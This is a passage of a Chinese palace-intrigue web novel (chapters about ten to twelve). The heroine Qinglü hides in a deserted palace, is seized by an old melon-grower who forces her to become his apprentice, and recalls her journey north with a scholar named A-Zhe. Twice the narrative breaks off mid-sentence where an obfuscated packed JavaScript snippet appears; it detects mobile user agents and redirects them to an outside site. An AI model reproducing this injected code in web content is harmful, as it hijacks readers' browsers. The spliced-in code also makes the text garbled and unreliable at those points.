她一边在脑中搜索着过往记忆,一边放慢脚步察看沿途宫殿,当看见一座宫殿门楣上方一块刻着“夕颜殿”三字的牌匾时,顿时松了一口气。驻足良久,才要推门,却发现挂在大门上的铜锁并未锁上,觉着奇怪,看看左右无人,大着胆子轻轻推门而入,反手掩上大门。 青绿倚着门框,看着院里的一切,虽无明显破败迹象,然满地落叶显得异常清冷,不知何处一只黑鸦在恬躁,更添凄凉。 她缓缓将视线移到东边的院墙,大树仍在,脑海里不由闪过几帧画面:背对她朝树上的大黑蚂蚁撒尿的小宫人,随她那句“小姐姐你如何能做到站着撒尿的”闻声而出的妇人,妇人惊慌的神色及绝美的容颜。 她似乎有些明白,却又理不出头绪,便甩了甩脑袋朝院里走去。 忽然,她闻到了若隐若现的烟火味,有些不敢相信,使劲嗅了嗅,判断是纸张燃烧后的烟灰味,心里一紧,极力壮了胆朝大树走去。 果然,她看见树根下一小堆才被踩灭的灰烬。猛一抬头,便看见了灌木丛中一张老妇的清瘦长脸,五十上下年纪,两眼眼距较宽,略显湿浊的双目此刻正紧张而疑惑地盯着她,身旁是一个装着换洗衣裳的竹篓。 青绿按捺住心跳,轻声问老妇:“嬷嬷是浣衣室的?” 老妇不置可否。 门外突然传来一连串的脚步声,一个尖细的嗓音道:“大门的锁为何是打开的?” 另一个略显沙哑的声音道:“这鬼地方,除了清扫院子的宦者一年来两回,日常也不会有人进来,想必是宦者忘记锁门了。” “话虽如此,亦不可大意,否则便是失职。” “待后头的兄弟来了再一起进去。听说这院里原先住的貌若天仙的娘娘是横死,今日清明,没准是她化成厉鬼在里头等着呢。” 青绿及老妇屏息凝神听着门外动静,应该是卫士的例行巡查,及至听他们说要进来,均是一惊。 老妇见青绿一身宫人打扮,抱歉地对她道:“若我被发现,脱不了死罪,只是连累了姑娘。” 青绿大眼睛眨了眨,对老妇道:“嬷嬷你躲进屋内,一旦有人进来,我便将他们从后门引开,嬷嬷伺机从前门出去便是。” 老妇满脸担忧:“姑娘如何脱身?” 青绿信心满满道:“我自有法子。” 10. 第十章 女鬼 青绿对老妇说完自己有办法离开夕颜殿,便看见老妇眼里涌上一片迷雾,忙道:“嬷嬷快走,此时不是说话的时候。” 老妇点头低声道:“如此,得罪姑娘了。”躬身借着灌木丛的枝叶掩映,顺着墙根快步朝室内移动。 青绿猛然想起还没问她是何人,因朝她背影发问:“可否告诉我你是谁?” 老妇踌躇片刻,转身轻声说了两字,青绿却听不真切,待要再问,一阵密集的脚步声朝大门而来,青绿忙摆手示意她快走。 大门砰地一声被撞开,一队卫士走了进来。 尖细的嗓音笑道:“魏三儿说屋里有个天仙似的女鬼,我今日便来会她一会。” 魏三儿取笑道:“切,便你那裆里的牙签,会了又能如何?” 众卫士一齐笑了起来。 笑声未落,便见一棵大树下,一个黑影呼地站起来朝后门跑去。 尖细嗓音脱口而出:“鬼,女鬼。” 众卫士一下愣在当场,良久,魏三儿发一声喊:“我呸,青天白日何来的女鬼?还不快追。” 众卫士追出后门,青绿早已跑出几丈开外。 待他们看清楚是个小宫人,顿时来了精神,齐齐发足狂追。 青绿出了夕颜殿后门,只管拼命朝西面的寿安殿跑,却哪里跑得过那些长腿卫士,被追得急了,见前方一座大殿,殿旁一个独门独户的小院,门是开着的,便不管不顾地朝小院跑去,慌里慌张在门口刹住脚步,回头看看,不见卫士追来,才扶着门框喘过一口气来。 探头朝里看去,这是一个小菜园子,畦地上搭着两个棚架,上面攀爬着翠绿的黄瓜秧子,一个满头白发的背影蹲在一处瓜苗下拔着野草。 她急步朝背影走去,想与他打声招呼,容她在此躲藏片刻。 孰料离那白发背影尚有一臂之距,未及开声,一只干枯的爪子疾如闪电般伸过来锁住了她的咽喉,随后便双脚离地被提了起来。 她顿时被憋得两眼上翻,伸手向上拼命挣扎,如同一只被割了脖子放血后拼命扑楞的小鸡。 一个阴侧侧的声音问道:“哪来的野丫头?找死么?” 青绿拼尽全力喘了一口气,极力去看卡着自己脖子的人。 这是一名须眉皆白的高瘦老头,一副竹杆般的骨架撑着极为宽敞的衣衫随风飘忽,厚重的眼皮下,猎犬般的目光直直盯着她,惨白的干瘦老脸上表情阴郁至极。 青绿初时被他吓得全身紧绷如上满弓的弦,却见老头问自己话时,双眼只有眼白,想起娘说过自己翻白眼的架势无人能及,嘻,娘也有孤陋寡闻的时候,忍不住咧嘴一笑。 老头五指骤然松开,青绿一屁股跌坐在地上,大口大口喘着粗气,身上冷汗直流。 老头盯着她黧黑的神色惊恐的小脸,翻着白眼问:“笑甚?怪瘆人的。” 青绿才喘出去的气险些又被填充回来,心里狠狠回怼:臭老头,你老这副尊容,不用装扮都能吓死鬼,却倒打一耙说我瘆人? 自嗨可以,青绿哪敢开口得罪他,毕竟这是在人家的地盘上。 好在对付这些个守瓜老头,青绿有的是经验,从南边一路向北,她与小伙伴们没少干些扯一把青菜摘几个瓜果的勾当,被逮着了只要朝老头作揖打千,卖些“我已多日水米不进”的惨,加上“您老人家面慈心善积德,子孙必有余庆”的恭维话,也就屁股上挨几巴掌而已。 她揉了揉脖子,不敢与瓜老头对视,将视线落在棚架上挂着的嫩绿黄瓜上,两眼冒着绿光啧啧称赞:“瓜爷爷,你的瓜种得真好。” 大凡种庄稼的,你夸他的作物长得好,便如听人夸他亲儿子,心里必定美滋滋的。 果然,瓜老头脸上僵硬的表情有所舒缓,两眼直勾勾地盯着她:“尝尝?” 青绿神情紧张地摇摇头:“我只看看。” 真是的,看破又说破叫人怎么好意思么。 瓜老头摘下一根顶上带花的黄瓜,两眼直瞪瞪地递给青绿。 她一脸惊喜地接了,在衣服上擦了擦,然后咔嚓掰成两半,一半返还瓜主:“瓜爷爷,分甘同味,一起吃才有味道。” 瓜老头一愣,有些失神地接了过来。 青绿不曾注意到他脸上的神情变化,迫不及待地将黄瓜送进嘴里,嚼吧嚼吧,满足道:“嗯,这黄花大黄瓜煞是好吃。” 她的恭维发自真心,因为实在是又累又渴。 再说那几名长腿卫士见青绿进了院门,吓得远远驻足,面面相嘘,虽说这小宫人淘气,但罪不至死,被他们逮住不过打几下板子教训一下,如今擅闯这个院子,恐怕连小命都保不住,心里老大不忍:得,在此等着给她收尸吧。 瓜老头看青绿一身宫人打扮,问道:“你是哪个宫的?” 青绿回道:“我进宫不久,未曾指派。” 瓜老头目光骤然变得锐利:“谁让你到这里来的?那些卫士为何追你?” 青绿被他盯得后背又开始冒冷汗,垂眸避开他眼里的锋芒,低头咬了一口黄瓜,连带着心跳一起咽了下去:“没谁派我来,我就是好奇,四处走走。” 瓜老头脸上含着明显的“你当我傻啊”的不屑:“你一个才入宫的宫人,在宫里四处走走?” 青绿抢答般回道:“所以那些卫士要追杀我啊。” 她伸手摸了一下自己的脖子,带着讨好的语气道:“瓜爷爷,你武功盖世,救我一救,我这一出去小命一定被收了。” 瓜老头眸子转了转,突然闪过一抹恨厉,语气蛮横道:“可以,你拜我为师。” 青绿愕然:“拜你为师,学种黄瓜?”白眼翻到一半又硬生生收了回去,作低眉垂首状,“不是不行,而是不能,我还得回教习室呢。” 瓜老头语气凶狠道:“你是答应也得答应,不答应也得答应。” 青绿撅着小嘴十分委屈:“瓜爷爷你不讲理。” 瓜老头两眼向上一翻,蛮横道:“不讲理,你又能如何?” 青绿瞬时心里来气,捡起方才的白眼一翻到底,倔强道:“我不答应你又能如何?” 她看见瓜老头的手指动了一下,还来不及反应,便又被他干枯有力的爪子锁住了咽喉。 瓜老头气哼哼道:“不答应便只能做瓜下鬼了。” 青绿两眼一闭做死鱼状,心道:死都死了躺平就完了,我便不信你敢杀凡二姑娘。 瓜老头忽然“呵呵”一笑,青绿一睁眼,见他脸上表情比方才还瘆人,吓得又赶紧闭上眼睛。 瓜老头松开爪子,凶巴巴道:“你就在此处呆着,何时答应便何时离开,有大把黄瓜,饿不死你,准你吃到撑死。” 他转身朝外走,边走边得意地补刀:“我可告诉你,你不当我徒儿,宫内谅也无人敢再教你,再说了,你只要踏出这扇门,立马身首异处。” 青绿生无可恋地歪倒在地,顿时思绪翻飞:现在躺平还来得及么?我进宫到底是为了什么? 脑中瞬间闪出埋藏心底的岭南旧事。 她被带到岭南,在自称舅舅的车夫蓝忘几家仅呆到九岁便离开了,准确来说是逃离了,起因是蓝舅舅拐角遇见京师旧友,一名杨姓商贾,盛邀他到家里吃酒。 酒桌上,杨姓商贾絮絮叨叨讲了许多京师轶事。 酒至酣处,杨商贾大着舌头道:“四年前,皇宫里走失了丞相凡羲家的二姑娘,同日,宫里的少使谌鱼和宫人阿倩双双溺水而亡,有传阿倩是少使不小心拽下水的。” 蓝舅舅举至唇边的酒盅从手上滑落,哐地一声砸在桌上,他丧魂落魄急问:“杨兄弟,此话当真?你是如何知道的?” 杨商贾打了一个酒嗝,重重地拍着他肩膀笑道:“蓝兄你忘了以前我是给宫里送绿植的?”神神秘秘压低了声音,“宫里都在传,是凡家二姑娘害了谌少使。” 一旁侍候的青绿一惊,拿在手上的酒壶抖了抖,洒出几滴酒,却见蓝舅舅的脸色骤然变得惨白。 夜深了,青绿躺在耳房内的小床上辗转反侧,脑中浮现出一些不甚清晰的往事,迷糊之中,满身酒气的蓝舅舅坐在她的小床前,握住了她的手。 她悄咪咪将眼睛睁开一条缝,借着纤长而浓密的睫羽看着蓝舅舅。 蓝舅舅满脸悲伤,泪珠在眼眶里打转,以低沉得几乎听不见的声音嗫泣道:“亭旭,儿呀,你快快长大,回京城杀了凡家二姑娘,为你娘报仇。” 当日她被套着麻袋颠簸了几十里路,好不容易马车停下,她从麻袋里爬出来,未及看清周围境况,蓝舅妈便快速给她换上一套粗布衣裳,在她脸上抹了一把烟灰,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457164|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她改头换面打扮成男孩模样,还不下十遍地叮嘱她,记住她现在的名字叫蓝亭旭。 随后一路向南,不知走了多久,终于在交州郁林郡一个名为布山的县城安顿了下来。 不知为何,蓝家一直以为她是男孩,她也从不敢明说,怕暴露身份引来杀身之祸,但她却不敢忘记自己是凡家二姑娘。 今听舅舅如此说,虽不明白凡家二姑娘与谌少使有何关联,也不明白谌少使与蓝舅舅有何关联,但她明白自己已不能留在此处。 她装着已经睡着了,连大气都不敢出,直到看着蓝舅舅踉踉跄跄的背影消失在房门外。她从床上一跃而起,收拾了几件衣裳和日常攒下的压岁钱,眼睁睁看着天边微微露出了鱼肚白,便悄无声息地离开了蓝家。 起初她漫无目的,想着走得离蓝家越远越好,后留心打听了京师在北方,便有目的地朝北走。 一日到了一个名为潭中的县城,想想途中几次遇险,估计如此下去还未走到京师便已死了十八回了,便决定在此停留一段时日,慢慢再想法子。 她在街上瞎逛,留意周围店铺看有否招小工的,无意中看见一名中年妇人甚为吃力地扛着一大筐食材,身后跟着一名才学步的孩童,孩童不小心被坑洼的路面绊倒,膝盖渗出血丝,疼得哇哇大哭,妇人干着急却腾不出手来。 青绿上前一步抱起孩童,替他擦干眼泪,笑问妇人:“阿婶,为何不带个帮手?看把你累的。” 妇人也不见外,喘了口气道:“原先有个丫头相帮着,这不,前日嫁人了,一下寻不着合适的,老身只得自己折腾了。” 青绿趁机问:“如不嫌弃,我便在你家帮工如何?” 老妇看看号称十二岁,却怎么看都只有八九岁的小丫头,皮肤粗糙,身上却也干净清爽,再看看趴在她肩膀上打瞌睡的孩童,点头道:“你随我回去,这事还得大娘子点头。我姓伍,你唤我伍婶罢。” 伍婶的主家恰巧是潭中县县令申屠吉,大娘子问青绿来历,她谎称是郊县人,爹娘死后来此处投奔大哥,不料大哥举家去了京师,留话说待安顿下来再想办法接她进京。 大娘子便将她留在膳房帮厨,说好了月钱半吊。 她将月钱小心积攒起来,一个子儿都不敢多花。后县令调任荆州零陵郡始安县,她觉得离京师又近了一些,二话不说随迁到始安。 转眼又到了金秋八月,始安县城满城浓郁的桂花香。 县衙临街的前院,有两颗枝叶几乎相连的硕大的桂花树,青绿在树下铺了一张大大的关草编织的席子,举着长竹竿用力敲打树上的桂花,一名五六岁的孩童跟在她身后欢蹦乱跳,不时“姐姐这里,姐姐那里”地嚷嚷,不多时,草席上便堆积了一层厚厚的嫩黄色花朵。 青绿放下竹竿,蹲着清理花堆里杂七杂八的枝叶,孩童顽皮地捧起一捧桂花洒在她头上,洒得她满头满脸的细碎黄花,连长长的上翘的睫毛也停留了星星点点。 孩童拍掌大笑:“姐姐真好看。” 青绿笑骂:“伍弟你皮痒了是吧。”抓起一把桂花朝他领子里塞。 两人打起了花仗。 便此时,漫天黄色的桂花雨中,一张仿佛经过精雕细琢的少年脸庞出现在青绿面前。 少年朝青绿微微颔首行了一礼,眉宇间含着淡淡的清冷,开口问道:“请问姑娘,在哪里办传?” 吏民出入关津的关牒称 “传”,长一尺宽二寸,上刻持有者姓名、过关事由、目的地、日期及颁发官员的姓名等。 青绿站起身,认真打量了少年片刻,问:“到京师赶考?” 少年未置可否。 她朝身后不远处两排平房指了指:“后排东头第二间。” 少年朝她欠了欠身:“谢谢。” 青绿快速收拾好采下的桂花,嘱伍弟拿回去给伍婶,自己则一直候在县衙大门外。 约两盏茶后,少年出了大门,青绿尾随他,一直到了他的住处。 少年进了门,将她挡在门外,冷漠问道:“姑娘意欲何为?” 她小心翼翼地陪着笑脸:“我在此处孤身一人,想进京寻亲,不敢一人上路,可否与公子同行?” 他神色冰冷,目光冷漠地吐出一个字:“否。” 门砰地一声在她面前关上。 11. 第十一章 结伴 若不是闪得快,青绿估计得被突然关上的大门碰一鼻子灰,气得她抬脚便去踢门,脚到门边却又收了回来,想了想,调头回到县衙后院自己的住处收拾行李。所幸这几年她随时都做上路的准备,并没费多大功夫。 她去向大娘子告辞,说大哥捎信,让她即刻随赶考的学子进京。恳请大娘子替她开一张进京关牒,理由是自己看起来年纪太小,去开恐遭拒绝。 大娘子也不强留,吩咐县令的随身小厮给青绿开了传送到后院,离月底还差十日,也让账房按满月给她结算了月钱。 青绿眼眶湿润,跪下给大娘子及闻讯赶来的伍婶各叩了一个头,满怀感激道:“待我有了着落,必捎信回来。” 大娘子和伍婶见多了丫鬟来去,并不表现出十分伤感。 大娘子叮嘱她路上要多加小心。 伍婶递给她一包番薯干:“带着路上吃。” 倒是那个五六岁的小小子伍弟,抱着青绿的大腿哭得声嘶力竭,比死了亲娘还惨,口口声声道:“我要随姐姐去京师。”不怪他伤心欲绝,打小他便是青绿的跟屁虫。 青绿在上京必经的县城北门守了一夜,翌日辰时,果然看见少年背着书囊手提长剑朝城门走来,她一言不发跟着他出了城门。 少年也不搭理她,只顾朝前疾走,她如狗皮膏药般跟着他,他行她便行,他宿她便宿。 少年行止坐卧十分有规律,每日辰时必然上路,也必然看见青绿候在门口。 青绿如影随形跟了少年三日,眼见渐渐离了人群稠密之处,再往前便是蛮荒之地。 或许是被她跟得烦了,翌日,青绿从辰时直等到巳时,也没看见少年,到客栈门房处打听,伙计说那少年卯时便已结账上路。 青绿只觉心底一凉,血液几乎凝结成霜,愣了好一会才回过神来,失魂落魄出了客栈急急追赶,却哪里还有他的踪影。 青绿呆呆驻足在人烟稀少的十字路口,睁着迷茫的双眸,何等地六神无主、彷徨无措。 临近午时,忽然看见少年从北向去路朝她走来,她满腹委屈地背转身,悄悄擦去了沁出眼角的眼泪。 仗剑青衫的少年淡淡地对她说了两个字:“走吧。” 刹那间,青绿小脸上的笑容比路边盛开的野菊花还要灿烂。 少年无可奈何地认可了青绿这块狗皮膏药,但他仍然惜字如金,一个字说得明白的,绝不说第二个字,更不去主动打听她的情况。 毕竟朝夕相处,总不能时时互称“喂”。一日,在青绿“喂喂”了几次后,他终于清冷着脸告诉青绿他叫阿哲,进京是为了考学,其余关于自己的一切再未透露过一星半点。 青绿投桃报李,告诉阿哲自己姓蓝,“蓝亭旭”三字到了嘴边又咽了回去,怕被蓝家人寻藤摸瓜找到她,便随口说家人唤自己小二。 阿哲开口道:“小二,往后你负责背书囊。” 她欣喜点头:“好呀。” 这是承认她的跟班身份了,不能白吃白喝,这个道理她懂。 青绿与阿哲相处久了,便发现他其实脸冷心热,无论三官五官都很正,且颇有人缘。 陌生女子每每见了他,少不得一脸花痴地跟上一段路,一边盯着他看一边红着脸抛话给他,诸如“公子贵姓”、“公子贵庚”、“公子进京赶考呢”此类,恨不得变身狐妖将他截留深山过二人世界。 青绿性子跳脱,见阿哲冷着脸不接话,便嘻笑道:“我家主人学问出色,待中榜之日必给姐姐捎个信儿。” 那些个女子便毫不吝啬地将怀里捂了许久的吃食,一股脑地倒入青绿斜挂在胸前的布囊,青瓜红薯白馒头黑芝麻饼应有尽有,还往阿哲的口袋硬塞进几个熟鸡蛋。 阿哲对青绿的无耻行径常常嗤之以鼻:“江湖小骗子。” 青绿一脸委屈:“阿哥,我也不想骗啊,但人穷志短,也就你这张脸还能骗些吃喝。” 阿哲所带盘缠本就仅够自己一人开销,凭空多了一个穷丫头青绿,便显得捉襟见肘,夜晚还得住客栈,一是怕出没的狼虫虎豹,二是夜黑风高拦路打劫的也多,诸般不能省,便只能委屈自己的肚子。 青绿常瞒着他顺手薅些路边的瓜果,最常薅到的便是黄瓜,阿哲知道了只能瞪眼,却也无奈她可。 青绿也曾打过村外散步觅食的鸡鸭的主意,因怕阿哲发怒而作罢。 但越是往后,不管如何省吃俭用,住客栈的钱也不能保证了,遇赶货的马帮或结伴的行人,便跟着扎堆露宿荒野,饿吃野果,渴饮山泉,运气好逮着野兔或山鸡也能开开荤。 阿哲给青绿做了一副弹弓,她为了能吃上肉肉也是拚了,每日练习,功夫肉眼可见地进步,虽说不上百步穿杨,但对付着射只小鸟或搂只野兔不成问题。 随着准头越来越好,青绿觉着自己也算有武艺傍身,路过荒郊野岭便没有那么胆战心惊了。 一日傍晚,青绿和阿哲来到越城岭脚下,翻过越城岭,可直插码头乘船北上,水陆并行比一路乘船要少了许多路程,自然也能省下许多盘缠。 二人向路边客栈掌柜打听线路,掌柜看着阿哲,劝道:“山上有大虫伤人,要翻山须得白日,且独自上山如果遇到大虫,你一人不是对手。”那语气,压根就没把青绿当人。 青绿心里不爽,虽说自己是块狗皮膏药不假,但狗皮膏药也是药,也能治病,关键时刻还能充当粘鼠胶。不由忿忿地朝掌柜白了个眼。 阿哲听掌柜劝,在客栈住了一夜,翌日,遇上一队要过越城岭的马帮,马帮不大,七八个汉子,二十几匹马。 坐在客栈台阶上拿着一柄蒲扇将腿肚子抽得噼啪作响的马帮头子,听完阿哲提出的跟马帮上山的诉求后,抬头瞥了二人一眼,低头慢悠悠地又挥了两三下扇子。 片刻,皱眉对阿哲道:“你还勉强。”斜睨着青绿,“带这小兄弟不行。如今气候炎热,山上森林茂密,烟瘴蜈蚣巴蛇等蛮地毒物出没,峭壁深涧饿虎猛兽挡道,更不必说沿途土匪骚扰,你们还是另走水路吧。” 在岭南时常翻山越岭,青绿均作小子打扮,故帮头称他小兄弟。 帮头的眼神让青绿不爽,看不起谁呢。 阿哲诚恳道:“我们要赶路,水路太慢,跟着马帮能壮胆,绝不会成为你们的累赘。” 帮头闷闷看了他一眼,起身道:“那便跟着吧,不过得说清楚,你二人生死与马帮无关。” 阿哲点头道:“那是自然。” 二人跟着马帮上越城岭。 马匹驮着物什,顺着石缝中前人踩出的山崖小道行走,沉重的马蹄敲击着山石,响着均匀的“得得”声。 赶马的汉子们对跟在马帮后的人尾巴见怪不怪,也不理睬他们,高声说着二人听来一知半解的行话,然后放肆大笑,走至半山腰还放开嗓子唱起了山歌,豪迈的歌声在山间回荡。 青绿初上山时还有些胆战心惊,随着马帮汉子的声音传遍整个森林,便跟着放松了绷得死死的神经。 晌午,马帮上到山顶,帮主命就地用膳。 阿哲快步上前帮伙计下驮,青绿协助管膳食的名为芭五的小伙垒灶台,捡枯枝生火烧水。 芭五比她大几岁,话唠,不过半日功夫,便将自己掌握的野外生存技能、职业生涯中遇到的险境趣事,给青绿抖搂得七七八八,比如自己额头上的醒目刀疤是儿时与族兄斗狠留下的印记等等,在青绿不断发出的惊叹声中,油然而生出前所未有的自豪感。 帮头对马帮汉子发话道:“此次物什较往日多,马走得慢,往常这个时辰应该下山了,都抓紧喂马喂人,别还没下山天就黑了,让前头客栈的小寡妇空守一夜。” 众汉子放浪大笑,各人掏出随身携带的瓜瓢,舀了半瓢热水狼吞虎咽着手里的糌粑。 青绿从包里掏出玉米饼子递给阿哲,二人将就着填饱了肚子,帮头便喊上货。 阿哲给帮头搭手上驮。 物什差不多上完时,帮头忽然问:“怎的不见芭五?” 一个汉子应道:“他打水去了。” 帮头吩咐青绿:“你去寻他回来。” 青绿应声起身朝东向一条小路走去,方才她撇见芭五是朝这个方向走的。 阿哲朝她背影叮嘱道:“你自己留意。” 青绿答:“知道啦。” 没走多远,便看见芭五身上背着几个水囊,脖子上挂着一个大布兜,正在摘长在山崖边的稔果。 青绿朝他喊:“芭五,马帮要走了,快回来。” 芭五看见青绿,高兴道:“小二快来,这里有好多山稔,你也采些,很好吃的。”他边说边摘了一颗放到嘴里做示范。 青绿看着那些一人多高的山稔树,枝头挂满了累累紫红色的果实,很是欢喜,便也学着芭五在脖子上挂个布兜摘了起来,一边摘一边吃,不知不觉走到了悬崖边上。 一个伙计跑来对芭五道:“快走,就等你了。”拽着他便走。 芭五回头朝青绿所在的方向喊了一嗓子:“走了。” 青绿自顾采了小半袋果子,才想起自己是来寻芭五的,忙回身从原路折回,却在抬头之间,看见左前方的树丛中,半遮半掩着穿着大花袄的一张笑脸,心里纳闷,荒郊野岭的,撞着了狐狸精不成? 壮胆仔细一看,天,一只吊睛白额大虫正透过树丛的缝隙笑眯眯地看着她,似乎在说:你吃,你多吃点,吃饱了我再吃你。 青绿吓得下意识朝后退,机械地回报大虫一张僵硬的笑脸,颤颤抖抖地无声念叨:“虎哥,不,虎爷,我太瘦不是你的菜,求求你别吃我。” 突然,她一脚踏空,整个身子朝悬崖下坠落,吓得她失声大喊:“阿哲。” 慌乱中双手向上一抓,万幸,右手抓住了一把长在悬崖边上的灌木丛,左手则死死地扣着微微凸起的石块,便那样悬在峭壁之上,肝胆俱裂。 阿哲正与帮头给一匹马扣紧最后一根带子,听见青绿撕心裂肺的喊声,情知不妙,拔剑飞身朝青绿奔来。 这时青绿右手抓着的小树因承受不住重量,正在慢慢被连根拔起,左手已经血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457165|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉模糊。 阿哲奋不顾身扑到悬崖前,伸出右手抓住青绿右手,大声喊着:“别松开。” 一面扭头左手持剑指着大虫,丹凤眸子毫不畏惧地与大虫对视,眸中一片寒凉。 青绿双手死死抓住了那只温暖的、有着修长五指的骨节分明的手,一动也不敢动。 大虫与阿哲无言地对峙着。 时间一分一秒地过去,便在青绿觉着自己快要坚持不住之时,或许二人不是大虫的菜,或是阿哲的镇定及那把闪着寒光的剑镇住了大虫,又或是大虫才吃饱没有空肚子装两个活人,吊睛白额大虫竟悠哉悠哉地转身,闲庭信步般进了密林深处。 阿哲咣地一声扔掉长剑,双手握住青绿的两只手腕,憋着一口气用力向上一提,亏得青绿瘦小,竟被他整个提了上来,二人瘫倒在悬崖边上大口大口喘气。 青绿从死里逃生的恐惧中摆脱出来,慌张地盯着渐行渐远的斑斓背影,大虫竟然没有回头看她一眼,何等的蔑视。不是,合着你吓死我很好玩么?青绿脆弱的心灵再次遭受到一万点暴击。 片刻后,阿哲道:“现在不能歇息,马帮要下山了。” 青绿挣扎着站起身来,却看见阿哲左腿鲜血淋漓,不由惊道:“阿哲,你受伤了。” 原来方才阿哲扑过来时,下意识用双脚勾住一切能着力的物件,左小腿被一块尖利的岩石划出一条半尺长的口子,深达寸余,经青绿提醒,阿哲方才感到钻心般的疼痛。 青绿拉他坐下,在周边寻了些毛排前草,放在嘴里嚼碎后吐在他仍在流血的伤口上,再从包里掏出一条干净的布条将他的小腿绑紧。毛排前草能止血是芭五说的。 阿哲咬牙站起身来,青绿担忧地问道:“能行吗?” 阿哲道:“不打紧。” 二人赶到方才马帮的歇息地,马帮却已经下山了。 原来,马帮汉子们都听见了青绿的呼救声,也看见了那只色彩鲜艳的斑斓大虫,帮头示意众人不要发出声音,然后趁大虫注意力全被他们二人吸引之机,竟然领着马帮溜之大吉。 看着空空如也的营地,青绿明白,他们被抛弃了,她伤心绝望之余,气狠狠地骂道:“见死不救,就不怕遭报应么?” 阿哲淡然道:“我们与马帮原就是萍水相逢,愿意带我们一程已实属难得,不能苛求别人抛弃身家性命来救我们。” 再说马帮那头,芭五良心不安地问帮头:“为何不去打那只大虫?我们人多,打死大虫后能吃肉还能得张好毛皮。” 不待帮头回答,一个独眼汉子插话道:“那只大虫体壮力强,我们这几把钝刀未必是它的对手,且不清楚大虫在附近是否还有同类,再说太阳眼看就要下山了,时辰耽搁不起。” 芭五不敢再吭声,帮头冷漠道:“哪来这许多废话。赶帮的第一是要保证货物及时完好送到,再便是顾着自家性命安全。这二人之前便说好了的,生死与本帮无关。”顿了顿,“你沿途给他们留上记号,如二人命大得脱虎口,不至于因为迷路而死在山上。” 阿哲因为脚上有伤,走得不快,二人始终未能再看见马帮的踪影。 青绿眼尖,发现每走上一段路程,路边的树干上便刻着一个箭头,兴奋得呼叫阿哲快看。 阿哲也注意到了,因对青绿道:“这是马帮留下的路引。” 青绿小声将挂在嘴上的“挨千刀的马帮”改为“挨一刀的马帮“,加上一个后缀:让你们记住不救小二的错。 天完全黑了下来,林子里伸手不见五指,别说路引,便连方向都无法辨别,若再朝前走势必迷路,在山里一旦迷路,就他们两个菜瓜极难走得出去。 阿哲站在一棵合抱粗的大树下,对青绿道:“到树上歇一宿。” 青绿又累又饿,实在走不动了,便点头“嗯”了一声,抱着树干攀上了高处的一根树叉。 她别的本事不大,爬树却是从小练就的,在树叉上坐稳后,放下一根绳子助阿哲攀了上来。 若论攀爬技能,自然是阿哲更胜一筹,无奈他脚上有伤,便只能依赖于绳子。 二人在树杈上坐稳当,阿哲解下绳子递给青绿,让她把自己与树干绑在一起,以免睡着了掉下去。 便此时,越过黑黢黢的山顶,青绿看见前方有一灯如豆。 漫无边际的暗夜里,刚刚还在为自己小小年纪便经历了太多的人性凉薄而感到绝望的她,透过绝望的缝隙,看见了那一点亮光,虽只如萤火大小,却足以让人感到温暖。 原来他们已经翻越了越城岭,只因天黑感觉不到罢了。 二人从树上下来,连滚带爬朝那星点亮光扑去。 瓜园里,青绿晃了晃脑袋,极力让自己保持清醒:历尽千辛万苦回到京师,目的便是查明被套麻袋真相,绝不能半途而废。当秀女也好,种黄瓜也罢,一定要不忘初心。且目前最最关键的,若自己被困此处,会害了梨子和汤圆。 青绿垂头丧气唤住一条麻杆腿已跨出门槛的瓜老头:“瓜爷爷,你赢了,你能先送我回教习室么?” 12. 第十二章 御史 一辆低调奢华的马车候在东司马门外,灰褐色的帷幔及淡灰色的窗牖并不起眼,却是昂贵精美的丝绸。 车内极为宽敞,对向两张金丝楠木座椅,上铺锦缎缝制的坐垫,座椅之间的一张茶几,摆着全套紫砂茶具,一盏白色透明的琉璃杯盛着大半杯红色汁液,十分惹眼。 青绿上了马车,隔着几乎察觉不到的檀香飘起的袅袅轻烟,朝车内神情肃穆的俊秀公子唤道:“大哥。” 凡不凡点点头,示意青绿在对面坐下。 油光水滑的枣红马迈着优雅的小方步,稳稳地拉着马车,经过人声鼎沸的直城大街朝东而行。 当年凡府主人凡羲举家北迁,并未住达观显贵扎堆的东、北阙甲第,而是住在城东皇帝亲赐的约素园,到凡羲贵为丞相也未搬进丞相府,原因是丞相夫人喜欢约素园的典雅及所处地段的幽静。 凡不凡将茶几上搁着的一盒点心打开,连盒子一并递给青绿,看着她吃了几口,方开口温言道:“在宫里可还习惯?教习何时结束?” 青绿咽下嘴里的点心,忙不迭地点头:“习惯。教习还需一段时日。” 不凡将盛着红色汁液的琉璃杯递给她,笑道:“这是才榨的樱桃汁,不急,慢慢吃。” 青绿双手接过,仰头一饮而尽,习惯性地用手背擦了擦嘴,赞道:“好喝。” 不凡宽容一笑:“都学了些啥?” 青绿老实答道:“行走坐卧的规矩。” “甚好,一颦一笑皆有方寸,一言一行亦有礼仪。多练一段时日,终究对你有好处,也可收收你的性子。” 青绿有些忐忑,她想起瓜老头强收她为徒之事。 不凡看她欲言又止,关心地问:“怎么啦?有何难事?” 青绿吞吞吐吐道:“没,没有,只是今日我想熟悉宫里的环境,四处走了一下,遇见一位古怪的种瓜老头。” 不凡皱眉:“宫里何来的种瓜老头?” 青绿神情开始紧张:“我也想不明白,宫里怎么能种瓜呢,可更奇怪的是老头一定要收我为徒。若跟他学种瓜,还怎么学规矩?” 